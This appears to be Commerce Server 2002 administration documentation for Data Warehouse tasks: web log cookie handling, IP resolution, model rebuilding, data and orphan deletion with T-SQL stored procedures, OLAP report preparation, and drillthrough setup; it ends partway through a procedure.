The Business Analytics system identifies users by looking in the W3C Extended Log for the following items, listed in order of priority:

  • Cookie
  • User name
  • Client IP + client browser string
  • Client IP only

The Report preparation DTS task populates data into the Buyer Visits cube. The Buyer Visits cube correlates user sales activity with Web browsing activity, by using the RegisteredUserIDs of the transactions and the RegisteredUserIDs associated with the Web browsing. This correlation of RegisteredUserIDs requires that your site use cookies.

By default, the Solution Sites are configured so cookies are encrypted. The Web server log import DTS task internally calls an authentication function that decrypts cookies and returns the proper user ID. If you choose not to encrypt cookies, the function does not properly return the user ID because the cookie is URL encoded.

Following is a description of how cookies are imported when you configure your site to enable or disable Autocookie mode.

  • Autocookie mode enabled. After you run the Transaction data import DTS task, the user transactions are stored in the OrderGroup table (and a few others) in the Data Warehouse. The OrderGroup entry is keyed to a RegisteredUserID. Web log imports of the associated log file containing the users' browsing activity can be correlated with the transaction activity only if cookies are enabled.

    When you enable cookies on your site, a cookie containing a Registered User identifier is written to the cookie field of the log file. By importing the Web log files into the Data Warehouse, the Report preparation DTS task can link the browsing activity to the transaction activity.

  • Autocookie mode disabled. In this scenario, the RegisteredUserID is written as part of the query string information in the Web log file but the Web log import DTS task cannot store this information as the RegisteredUserID.

    The VisitsByUser view remains empty because the RegisteredUserIDs are missing from the VisitInfo table, which is populated during Web server log import.

  • Cookieless mode (Active Directory). In this scenario, there are no cookies.

See Also

Analyzing Data from Cookies


Analyzing Data from Cookies

If a user does not allow cookies, and you have implemented AuthManager to encode the ticket onto the query string, then the ticket data is placed in an encoded URL string. The URL string can be used to pass user information between pages.

Cookie data might be inaccurate. For example, the first time a user initially visits a Commerce Server site, the site issues the user an anonymous ticket with a GUID as the key. After the user registers on the site and enters profile data, the anonymous (profile) ticket is re-issued to the user by using the user login ID as the key.

After a Commerce site reissues an anonymous profile ticket updated with the profile key (login user ID), the updated profile ticket is re-persisted for that user as the persistent cookie for the site. Reissued profile tickets can cause inaccuracies in the Web log file data imported for the site. The cookie will work the next time the user visits the site, except if the user deletes cookies or visits the site from multiple computers, or multiple users (with individual user IDs) visit the site from the same computer.

See Also

Importing Cookies


Retrying a DTS Task

When you configure a Commerce Server DTS task, you establish the number of retries and the seconds between retries. These retry properties control how the Data Warehouse storage engine interacts with SQL Server, and not how the DTS tasks interact with the Data Warehouse storage engine.

DTS tasks that are launched from the DTS console can recover from a lost SQL Server connection (for example, if the SQL Server fails over). When a connection is lost, the OLE DB Provider for Commerce Server writes messages to the Application Event Log indicating that it is (re)trying to connect to the SQL Server computer. If the DTS task can recover within the window established by the retry parameters, the task continues. For the Web server log import task, when it recovers, the Status column of the TaskHistory table in the Data Warehouse database displays 1, indicating a successful import.

Note

  • If the Profiles server fails over while the Profile data import DTS task is running, you must rerun the Profile data import DTS task in full load for the last increment by changing the import start date to the increment before the failover occurred.

Web server log import

If the SQL Server computer stops, after the Web server log import DTS exhausts its retry attempts, it can take several minutes to display a message that it failed. There are two reasons this might occur:

  • Several inference engine threads can process a log file. Each inference engine thread eventually writes data to the Data Warehouse storage engine (through calls to the OLE DB Provider for Commerce Server). When a thread calls SetColumns, the OLE DB Provider for Commerce Server first checks whether there are any errors on this session. If there are errors, it will abort the write call, and the inference engine thread sets a flag that is checked by the DTS task.

    If many threads are processing the log file, this process can take several minutes.

  • If the Web server log import task is running on a different computer than the SQL Server computer, the SQL transport could also affect the delay time.

Note

  • If the Data Warehouse server fails over multiple times (for example, 4 or 5 times) in a short span of time while the Web server log import DTS task is running, there might be data loss. For data integrity, you must delete the imported data for the Web log files, and then manually rerun the Web server log import DTS task. For information about deleting data from Web log files, see Running the Data Deletion DTS Task.

See Also

Troubleshooting the Data Warehouse Import Process

Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task

Best Practices for Data Warehouse

Scripting the Web Server Log Import DTS Task

Configuring the Web Server Log Import DTS Task

ETL Process for the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site


Running the Model Builder DTS Task

You use the Model Builder DTS task to automatically rebuild analysis models. You use the Predictor resource to build analysis models manually before you use the Model Builder task to rebuild models. After you build a model manually by using the Predictor resource, you can use the Model Builder task to schedule automatic rebuilding of the analysis model.

Each time an analysis model is built, it is based on the data currently in the Data Warehouse. It is important to rebuild analysis models when the data in the Data Warehouse changes, such as after new data is imported into the Data Warehouse.

You can use the Model Builder DTS task to rebuild analysis models for a specified site or for all sites associated with a specified Data Warehouse.

Note

  • Build one analysis model at a time. If you schedule two or more models to be built simultaneously, the DTS task will fail. To schedule building multiple models, you must schedule them to run one after another.

To rebuild analysis models

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. Select the package you want to change, and then click Open.

  3. On the Task menu, click Model Builder (Commerce Server).
  4. In the Model Builder Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this task. The maximum number of characters for the description is 255.
    Source type | Select either Site or Data Warehouse from the drop-down list.
    Site name | Select the site name from the drop-down list. If you selected Site as the source type, you must select the site for which you want to rebuild an analysis model.
    Data Warehouse name | Select the name of the Data Warehouse from the drop-down list. If you selected Data Warehouse as the source type, you must select the Data Warehouse associated with the sites for which you want to rebuild an analysis model.
    Model to rebuild | Select an analysis model from the drop-down list.
  5. In the Archive properties section, do the following:
    Use this | To do this
    Archive current model | Select this check box to archive the analysis model.
    Archived model name suffix | Select either Date of rebuild or Version number from the drop-down list.
    Archived model name | Type a model name if you want to use anything other than the default name provided.
  6. In the Retry properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times (between 0 and 255) you want the Data Warehouse to retry if encountered with erroneous data. The default number of retries is 10.
    Time between attempts (seconds) | Type the amount of time in seconds (between 1 and 3600) you want the Data Warehouse to wait before it attempts to retry. The default time-out interval is 30 seconds.
  7. Click OK.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

The specified analysis model is rebuilt with current data from the Data Warehouse.

See Also

Troubleshooting Commerce Server Resources

Running the Model Builder DTS Task

ETL Process for the Model Builder DTS Task

Scripting for the Model Builder Data Import DTS Task

Running the Predictor Resource

Workflow for Running the DTS Tasks


Running the IP Resolution DTS Task

You use the IP resolution task periodically to resolve Internet Protocol (IP) addresses. This ensures that the Data Warehouse contains data that is as meaningful as possible.

When you start an IP resolution task, a cache of already resolved IP addresses is checked in an attempt to resolve the new IP addresses. If unresolved IP addresses remain after the cache has been checked, then the Domain Name System (DNS) server is checked. IP resolution typically has a 60 to 75 percent success rate. IP addresses are resolved in a batch file, which optimizes the connection with your DNS server.

When you start an IP resolution task, by default only the IP addresses without a domain name will be resolved. However, if you want to capture any possible domain name changes, you can choose to resolve all IP addresses. This option updates even the domain names already in the Data Warehouse.

Notes

  • You must use the full lookup option the first time you resolve IP addresses in the Data Warehouse. After you have performed a full lookup, you can perform incremental IP resolution to look up only new IP addresses.
  • If client IP addresses are translated to a single IP address, use either cookies or user names in the Web server log import for inferring users.

    If users visiting your site do not use cookies or user names for inferences (either because they are absent or the users choose not to use them), then Commerce Server uses the client IP address and browser type to infer users. This method is not highly accurate: if the client IP addresses are translated to a single IP address (because, for example, users are using the same browser), then multiple users are bundled into one IP address. The IP resolution task then performs a lookup only on one IP address. This means that you will not get accurate domain information about all of the users visiting the site.

  • Use the following performance counters for this DTS task:
    • Total IPs resolved
    • Total IPs unresolved

To resolve IP addresses

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click IP resolution (Commerce Server).
  4. In the IP Resolution Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this task. The maximum number of characters for the description is 255.
    Data Warehouse | Select from the drop-down list the Data Warehouse that contains the data for which you want to perform IP resolution.
  5. In the Resolve IP Addresses section, do the following:
    Use this | To do this
    Incremental lookup | Select this option to resolve only IP addresses that have not already been resolved and those for which the last modified time exceeds the time limit set in the Number of days to cache results field.
    Full lookup | Select this option to resolve all IP addresses.
  6. In the Options section, do the following:
    Use this | To do this
    Local domain name | Type the local domain name of the Domain Name Server (DNS) that is the primary server used to resolve IP addresses.
    Number of days to cache results | Type the number of days to cache resolved IP addresses. The default is 30 days. If you increase the default, IP resolution occurs more quickly. However, domain name changes might not be caught.
    Number of seconds to wait before timeout | Type the number of seconds to specify how long the DNS server is searched before an IP address is marked as unresolved. The default is 10 seconds. If you increase the default, you will resolve more IP addresses, but IP resolution will take longer.
    Number of lookup requests to keep in batch | Type the number of lookup requests to specify the number of IP addresses that are transferred to your DNS server in a batch. The default is 200; the possible range is between 10 and 99,999 requests.
  7. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  8. Click OK.
  9. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  10. Click OK, and then click Done.

    IP resolution is performed.

  11. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

See Also

ETL Process for the IP Resolution DTS Task

Best Practices for the Data Warehouse

Workflow for Running DTS Tasks

Setting Web Log Inferences for Users and Visits

Scripting the IP Resolution DTS Task

Commerce Server Performance Counters

Troubleshooting the Data Warehouse Import Process


Deleting Data from the Data Warehouse

It is important that you periodically delete data from the Data Warehouse on an ongoing basis to prevent the Data Warehouse database from running out of space. If the database runs out of space, you will lose both performance and data. While you can set the Data Warehouse database to automatically expand, this option degrades performance over time, and eventually, the size of the database will reach the physical limits of available memory.

Commerce Server provides you with the Data Deletion DTS task, which will delete detailed log file data, or all data in the Data Warehouse. For information about how the Data Deletion DTS task works, see ETL Process for the Data Deletion DTS Task. For information about using the Data Deletion task, see Running the Data Deletion DTS Task.

After you use the Data Deletion DTS task to delete Web log file data from the Data Warehouse, there will still be data in the Data Warehouse that you must delete manually. For example, a site administrator adds a product to a catalog and that product is added to the Catalog runtime database. The site administrator then deploys the updated catalog to their site.

A user visits the site and adds the new product to their basket. Adding the product to the user's shopping basket causes Commerce Server to log a Commerce Event into the IIS Web log file (Add to basket event).

The Commerce Event now contains a product ID for that product that references a row in a table within the Catalog runtime database.

If the system administrator runs the Product Catalog Import DTS task, the task will import the Catalog runtime database into the Data Warehouse, and resolve the product ID to a full description. The Commerce Event containing the Product ID for the new product will resolve as a foreign key to a catalog table.

If, however, the site administrator deletes the new product from the Catalog runtime database after the Commerce Event is logged, but before product catalog data is imported into the Data Warehouse, the product ID of the new product will never be resolved to a product in the catalog, and is considered "orphaned." In this example, a fact (the product ID) references dimension data (the name and description of the product) that does not exist. This could also happen if one of the Commerce Server run-time components deletes items before the system administrator runs the Configuration synchronization DTS task.

For information about deleting orphaned data from the Data Warehouse database, see Deleting Orphan Data.

Note

  • The Profile, Catalog, and Campaign resources do not log delete operations. If you delete a user, campaign, or catalog item, the user, campaign, or catalog item is permanently removed.

Best Practices for Deleting Data from the Data Warehouse

  • Double the size of the Data Warehouse database to accommodate deleting data.
The space needed for the ID tables used by the Data Deletion DTS task must be figured into the size estimate for the Data Warehouse database. It is recommended that you double the amount of space that you allocate. For example, if you plan a 1 gigabyte (GB) Data Warehouse, you should allocate 2 GB to allow for data deletion.
  • Delete ID tables if the delete fails.
The delete code contains a switch that creates ID tables in the Data Warehouse database to delete data. This allows the Data Deletion DTS task to recover and continue from a failover or short connection failure. If, however, the data deletion process fails, or the system experiences an extended connection failure, you must delete these tables manually.
If the delete operation completes successfully, the Data Warehouse deletes the ID tables. The table names contain a GUID and the prefix MSCSTemp. For example, the name of the ID table for TaskHistory might be MSCSTempTaskHistory_{490CD250-C540-47B7-80BD-B308F3B356C7}.

Note

  • The UseTempTablesForDelete environment variable controls where the ID tables are created. The default value of UseTempTablesForDelete is false, which means that the ID tables are created in the Data Warehouse database. Setting this variable to true will use the tempdb database for delete functions, and you will not be able to recover from a temporary connection failure (for example if the SQL Server service is stopped and restarted).
  • Delete Web log file data frequently to improve import times.
Run the Data Deletion DTS task frequently to delete detailed Web log file data. Over time, Web log file data can accumulate to the point where it significantly impacts import time and memory capacity of the Data Warehouse. For information about running the Data Deletion DTS task, see Running the Data Deletion DTS Task.
  • Delete orphan data from the Data Warehouse database to improve import times.
Use the DeleteOrphans_UriQuery, DeleteOrphans_Uri, and DeleteOrphans_LogUser stored procedures to delete orphan data from the Data Warehouse database. For information about deleting orphan data from the Data Warehouse database, see Deleting Orphan Data from the Data Warehouse.


Running the Data Deletion DTS Task

You use the Data deletion DTS task to delete data from the Data Warehouse. You can use the Data deletion task to delete detailed log file data, summarized data, all data in the Data Warehouse, and all data for a particular site in the Data Warehouse. For example, you can use the Data deletion task to delete data from a partially imported log file if the Web log file import fails.

It is important that you frequently delete obsolete log file data so that you do not experience declining performance and limited memory capacity in your Data Warehouse. If you want to maintain historic data from your Commerce Server site, you can extract the data for preservation in reports.

Notes

  • Before running the Data deletion DTS task, verify that the size of the tempdb database is larger than the size of the database to be deleted.

    For example, if the database to be deleted is 15 GB, then SQL Server needs a tempdb database that is at least 15 GB. Otherwise, the Data deletion task will fail.

  • After you delete data from the Data Warehouse, you must run the Report preparation DTS task to refresh the online analytical processing (OLAP) cubes. You must select full cube processing after you delete data from the Data Warehouse.
  • If you delete detailed data imported from an individual Web log file, the log file data accessed by the reports in the Commerce Server Business Desk will remain the same. The following reports are affected by the deletion of detailed data:
    • Entry Path Analysis
    • Ad Reach and Frequency by Date
    • Ad Reach and Frequency per Advertiser
    • Campaign Event Summary
    • Campaign Item Summary
    • Order Events
    • Shopping Basket Events
  • If you want to delete the data on which the reports are based, you must choose to delete all data in the Data Warehouse.
  • When deleting a specific Web log file data import, the Data deletion DTS task deletes data only from classes that have a child relationship with the Taskhistory class (the Taskhistory class is the parent). The classes from which the Data deletion task does not delete data can grow large over time. The Data deletion task does not delete data from the following classes:
    • Loguser
    • Uri
    • Uriquery
    • Registereduser
    • Ordergroup
    • Date
  • You cannot cancel this task after it is started. Although you can click Cancel, the task does not stop.

To delete log file data

To delete all data in the Data Warehouse

To delete log file data

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Data deletion (Commerce Server).
  4. In the Delete Task dialog box, do the following:
    Use this | To do this
    Description | Type a description for the task. The maximum number of characters for the description is 255.
    Operation level Select from the drop-down list one of the following:
    • Site level to delete Web log file data for a site
    • Data Warehouse level to delete log file data or all data for a Data Warehouse
    Site Name | If you selected site level operation, select from the drop-down list the site for which you want to delete Web log data.
    Data Warehouse | If you selected Data Warehouse level operation, select from the drop-down list the Data Warehouse for which you want to delete Web log data.
    Select delete type | Select Web Log Imports from the drop-down list to delete data associated with particular Web log data imports.
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  5. In the Select delete level section, do the following:
    Use this | To do this
    Delete all data Select this option to delete all data associated with the Web log files you want to delete.

    Note

    • The Delete all data option for data imported from a specific Web log file does not delete all of the data associated with that Web log file in the Data Warehouse. Instead, it deletes data from all classes that are related to the Taskhistory tables. (Related classes have a self, child, parent, grandparent, or grandchild relationship with the members of the Taskhistory table.) The classes in the default Data Warehouse schema are:
      • Basket
      • CampaignEvent
      • FirstUriByDate
      • HitsByHour
      • HitsInfo
      • LastUriByDate
      • LogImportJobSummary
      • LogImportSubtask
      • OpenUserVisit
      • Order
      • Request
      • RequestByDateByUriByQueryString
      • Visit
      • VisitInfo
    Delete detailed data | Select this option to delete the detailed data associated with the Web log files that you want to delete.
  6. In the Specify Web Logs to delete section, select one of the following from the drop-down list:
    • Delete all Web log imports older than. Select this option to specify a time period for which you want to keep imported log file data.
    • Keep last n Web log imports only. Select this option to specify a number of Web log imports for which to keep imported log file data.
    • Select Web log imports to delete. Select this option to specify Web log file imports for which to delete imported log file data. Select the box to the left of the Task Id of the Web log file for which you want to delete log file data.
  7. Click OK.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  9. Click OK, and then click Done.

    The detailed data of the selected Web log files is deleted from the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

To delete all data in the Data Warehouse

  1. Run the Configuration synchronization task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Data deletion (Commerce Server).
  5. In the Delete Task dialog box, do the following:
    Use this | To do this
    Description | Type a description for the task. The maximum number of characters for the description is 255.
    Operation level | Select Data Warehouse level from the drop-down list.
    Data Warehouse | Select from the drop-down list the Data Warehouse from which you want to delete all data.
    Select delete type | Select All data in Data Warehouse from the drop-down list to delete all data in the Data Warehouse.
    Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  6. Click OK.

    Note

    • You can add additional DTS tasks to the open package, add sequencing or workflow information, and then run all the tasks in the package at one time.
  7. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  8. Click OK, and then click Done.

    All data is deleted from the specified Data Warehouse.

  9. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.


Deleting Orphan Data from the Data Warehouse

During normal operation of the Data Warehouse, you should schedule the Delete Data DTS task to clear fact data on a regular basis. The data that the Delete Data DTS task removes is typically the largest amount of data within the Data Warehouse (For example, requests, visits, and the content of the VisitInfo table).

Over time, you might experience slower import times and want to delete orphaned data of particular dimensions that grow large (for example, LogUser, URI, and IPRef).

Orphans are instances of data in the parent class (in the context of a parent-child relationship) that do not have any associated child instances. For example, in the Data Warehouse, the OrderFormheader class is the parent class for the OrderFormLineItems class, which means for each instance in the OrderFormLineItems (childClass) there is a corresponding instance in the OrderFormHeader (parentClass). If a delete operation deleted some instances in OrderFormLineItems, the corresponding instances in OrderFormHeader (parent class) are considered to be orphaned.

You can delete the instances of orphaned data from the Data Warehouse by issuing a delete command with the DELETE ORPHANS clause against the parent class by using the Commerce OLE DB provider. For more information, see Delete Syntax.

You cannot use the delete command with the DELETE ORPHANS clause to remove orphaned data from the URI, LogUser and URIQuery classes because they are parent classes for several facts, such as visit and requests, and their parent-child relationships are enforced in the logimport task rather than by the Commerce OLE DB provider.

Note

  • A delete command without the DELETE ORPHANS clause will not work against the URI, LogUser and URIQuery classes. This is by design.

In order to delete the orphaned data within these tables, it is necessary to invoke the DeleteOrphans_UriQuery, DeleteOrphans_Uri, and DeleteOrphans_LogUser stored procedures. These stored procedures can be invoked with the SQL Query Analyzer by the following syntax:

exec DeleteOrphans_UriQuery
exec DeleteOrphans_Uri
exec DeleteOrphans_LogUser

Note

  • The DeleteOrphan stored procedures do not work on the following dimensions:
    • LogUser
    • URI
    • UriQuery
These dimensions participate in an application-level relationship that the OLE DB provider cannot process.

The DeleteOrphans_Uri and DeleteOrphans_LogUser stored procedures must be updated whenever a new or custom Commerce Event is defined.

Use the following code to update the DeleteOrphans_Uri stored procedure:

CREATE PROCEDURE DeleteOrphans_UriQuery
AS
SELECT [QueryStringKey] INTO [#MSCSTempUriQuery] FROM [UriQuery] WHERE (0 = 1)
CREATE UNIQUE CLUSTERED INDEX [URI_del_temp_idx] ON [#MSCSTempUriQuery]([QueryStringKey]) WITH IGNORE_DUP_KEY
INSERT INTO [#MSCSTempUriQuery] SELECT [Request].[QueryStringKey] AS [QueryStringKey] FROM [Request]
INSERT INTO [#MSCSTempUriQuery] SELECT [RequestByDateByUriByQueryString].[QueryStringKey] AS [QueryStringKey] FROM [RequestByDateByUriByQueryString]
DELETE FROM [UriQuery] WHERE ([UriQuery].[QueryStringKey] NOT IN
   (SELECT [#MSCSTempUriQuery].[QueryStringKey] FROM [#MSCSTempUriQuery]))
GO

CREATE PROCEDURE DeleteOrphans_URI
AS
SELECT [UriKey] INTO [#MSCSTempURI] FROM [URI] WHERE (0 = 1)
CREATE UNIQUE CLUSTERED INDEX [URI_del_temp_idx] ON [#MSCSTempURI]([UriKey]) WITH IGNORE_DUP_KEY
INSERT INTO [#MSCSTempURI] SELECT [Basket].[UriKey] AS [UriKey] FROM [Basket]
INSERT INTO [#MSCSTempURI] SELECT [CampaignEvent].[UriKey] AS [UriKey] FROM [CampaignEvent]
INSERT INTO [#MSCSTempURI] SELECT [FirstUriByDate].[FirstUriKey] AS [UriKey] FROM [FirstUriByDate]
INSERT INTO [#MSCSTempURI] SELECT [HitsInfo].[UriKey] AS [UriKey] FROM [HitsInfo]
INSERT INTO [#MSCSTempURI] SELECT [LastUriByDate].[LastUriKey] AS [UriKey] FROM [LastUriByDate]
INSERT INTO [#MSCSTempURI] SELECT [OpenUserVisit].[FirstUriKey] AS [UriKey] FROM [OpenUserVisit]
INSERT INTO [#MSCSTempURI] SELECT [OpenUserVisit].[SecondUriKey] AS [UriKey] FROM [OpenUserVisit]
INSERT INTO [#MSCSTempURI] SELECT [OpenUserVisit].[LastUriKey] AS [UriKey] FROM [OpenUserVisit]
INSERT INTO [#MSCSTempURI] SELECT [Order].[UriKey] AS [UriKey] FROM [Order]
INSERT INTO [#MSCSTempURI] SELECT [Request].[UriKey] AS [UriKey] FROM [Request]
INSERT INTO [#MSCSTempURI] SELECT [RequestByDateByUriByQueryString].[UriKey] AS [UriKey] FROM [RequestByDateByUriByQueryString]
DELETE FROM [URI] WHERE ([URI].[UriKey] NOT IN
   (SELECT [#MSCSTempURI].[UriKey] FROM [#MSCSTempURI]))
GO

CREATE PROCEDURE DeleteOrphans_LogUser
AS
SELECT [UserKey] INTO [#MSCSTempLogUser] FROM [LogUser] WHERE (0 = 1)
CREATE UNIQUE CLUSTERED INDEX [LogUser_del_temp_idx] ON [#MSCSTempLogUser]([UserKey]) WITH IGNORE_DUP_KEY
INSERT INTO [#MSCSTempLogUser] SELECT [Basket].[UserKey] AS [UserKey] FROM [Basket]
INSERT INTO [#MSCSTempLogUser] SELECT [Order].[UserKey] AS [UserKey] FROM [Order]
INSERT INTO [#MSCSTempLogUser] SELECT [CampaignEvent].[UserKey] AS [UserKey] FROM [CampaignEvent]
INSERT INTO [#MSCSTempLogUser] SELECT [OpenUserVisit].[UserKey] AS [UserKey] FROM [OpenUserVisit]
INSERT INTO [#MSCSTempLogUser] SELECT [Visit].[UserKey] AS [UserKey] FROM [Visit]
INSERT INTO [#MSCSTempLogUser] SELECT [VisitInfo].[UserKey] AS [UserKey] FROM [VisitInfo]
INSERT INTO [#MSCSTempLogUser] SELECT [Request].[UserKey] AS [UserKey] FROM [Request]
DELETE FROM [LogUser] WHERE ([LogUser].[UserKey] NOT IN
   (SELECT [#MSCSTempLogUser].[UserKey] FROM [#MSCSTempLogUser]))
GO

See Also

Running the Data Deletion DTS Task

ETL Process for the Data Deletion DTS Task

Scripting for the Data Deletion DTS Task

Best Practices for Data Warehouse

Workflow for Running the DTS Tasks

Troubleshooting the Data Warehouse Import Process


Running the Report Preparation DTS Task

You use the Report preparation DTS task to populate the online analytical processing (OLAP) cubes with the data in the Data Warehouse. Commerce Server 2002 uses OLAP cubes to organize the summarized data in the Data Warehouse so that the reports run in the Analysis modules complete faster. The Report preparation DTS task must be run every time data is imported into or deleted from the Data Warehouse. For information about OLAP cubes, see SQL Server Books Online.

Notes

  • If multiple sites are sharing a Data Warehouse, run the Report preparation task once to process data for all the sites.

    When run, the Report preparation task processes all the sites in a Data Warehouse. Do not run the DTS task separately for each site; it will impact performance of the Data Warehouse.

  • The first time you run the Report preparation task to populate the OLAP cubes in the Data Warehouse, you must select full cube processing. After you have run the Report preparation task, you can perform incremental cube processing to load only new data into the OLAP cubes.
  • You must also select full cube processing after you delete all data from the Data Warehouse. For information about deleting data from the Data Warehouse, see Running the Data Deletion DTS Task.
  • Even if you run the Report preparation task in incremental mode, it might still display an increasing time-to-completion because it must perform full processing on the following cubes:
    Cube | Processing mode considerations
    Page Usage | Contains the URI dimension, which is an always full process dimension.
    Entry Pages | Contains the URI dimension, which is an always full process dimension.
    Exit Pages | Contains the URI dimension, which is an always full process dimension.
    mscsSales | Contains facts, which can change; therefore, the cube cannot be incrementally processed.
    Basket Events | Contains facts, which can change; therefore, the cube cannot be incrementally processed.
    Buyer Visits | Contains facts, which can change; therefore, the cube cannot be incrementally processed.
  • The Report preparation task will not work in a clustered OLAP environment, especially if a "retryable" error or a failover occurs. For information about "retryable errors," see ETL Process for the Report Preparation DTS Task.
  • The Report preparation task might report errors when processing OLAP dimensions and cubes if the information necessary to populate those objects has not been imported into the Data Warehouse. The error message is displayed in the following format:
     Processing error [Source data contains no rows] <object name>

If you are importing a subset of data into the Data Warehouse (for example, you are not running the Product Catalog data import task), you might want to disable the processing of objects for which there will be no data. This will prevent the [Source data contains no rows] error messages.

To disable processing of Analysis Services objects, set the ProcessingEnabled flag to 0 in the CubeProcInfo and DimProcInfo tables for the cubes and dimensions you do not want to process.

To populate OLAP cubes with data

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Report preparation (Commerce Server).
  5. In the Prepare Reports Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description of the Report preparation task. The maximum number of characters for the description is 255.
    Site name | Select the site for which you are populating the OLAP cubes.
    Incremental | Select to process the OLAP cubes incrementally.
    Full | Select to process the OLAP cubes in their entirety.
  6. Click OK.
  7. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

  8. Click OK, and then click Done.

The data is loaded into the OLAP cubes. You can now use the Commerce Server Business Analytics System, including Commerce Server reports, to analyze the data in the Data Warehouse. For more information about running reports, see Business Desk Analysis.

See Also

Running the Report Preparation DTS Task

ETL Process for the Report Preparation DTS Task

Scripting for the Report Preparation DTS Task

Best Practices for Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running the DTS Tasks

Troubleshooting the Data Warehouse Import Process


Enabling Drillthrough in Dynamic Reports

The OLAP cubes in the Data Warehouse contain aggregations of multidimensional data. When viewing the aggregated data in a dynamic report, you might want to see the underlying detailed records that contributed to that aggregate. The ability to view the underlying records is known as "drillthrough." Drillthrough only applies to OLAP-based reports, and drillthrough is operational only if the cube on which a report is based is enabled for drillthrough.

The following procedures describe how to enable drillthrough for cubes in the Data Warehouse. You can enable drillthough for a regular cube (a cube that is based on tables and has its own aggregations) and for a virtual cube (a logical cube that is based on one or more regular cubes or linked cubes).

Note

  • You can use the CSDW_MakePrimaryProductCategoryInfo stored procedure to map each product to its primary parent category, and thus reduce the number of items that appear in the details of a drillthrough report. For information, see Using Drillthrough to View Product Sales or Shopping Basket Events.

To enable drillthrough for a regular cube

To enable drillthrough for a virtual cube

To enable drillthrough for a regular cube

  1. Click Start, point to Programs, point to Microsoft SQL Server, point to Analysis Services, and then click Analysis Manager.
  2. On the Tree tab, expand the Analysis Servers node, expand the node for the server on which the Data Warehouse is running, and then expand the Data Warehouse node, for example Retail_dw.
  3. Expand the Cubes node.
  4. Right-click the cube on which you want to enable drillthrough, and then click Edit.
  5. In the Cube Editor window, on the Tools menu, click Drillthrough Options.
  6. In the Cube Drillthrough Options dialog box, select the Enable Drillthrough check box.
  7. On the Columns tab, select the column names from which you want drillthrough data to be available, and then click OK.
  8. In the Cube Editor window, on the File menu, click Save.
  9. On the File menu, click Exit.
  10. In the Analysis Manager window, right-click the same cube that you modified above, and then click Manage Roles.
  11. In the Cube Role Manager dialog box, click Edit.
  12. On the Options tab, select the Allow drillthrough check box.
  13. Click OK.
  14. In the Cube Role Manager dialog box, click Close.
  15. In the Analysis Manager window, on the Console menu, click Exit.

To enable drillthrough for a virtual cube

  1. Enable drillthrough for at least one of the base cubes of the virtual cube by following the procedure To enable drillthrough for a regular cube.
  2. Click Start, point to Programs, point to Microsoft SQL Server, point to Analysis Services, and then click Analysis Manager.
  3. On the Tree tab, expand the Analysis Servers node, expand the node for the server on which the Data Warehouse is running, and then expand the Data Warehouse node, for example Retail_dw.
  4. Expand the Cubes node.
  5. Right-click the virtual cube on which you wish to enable drillthrough, and click Edit.
  6. In the Cube Editor window, on the View menu, click Properties.
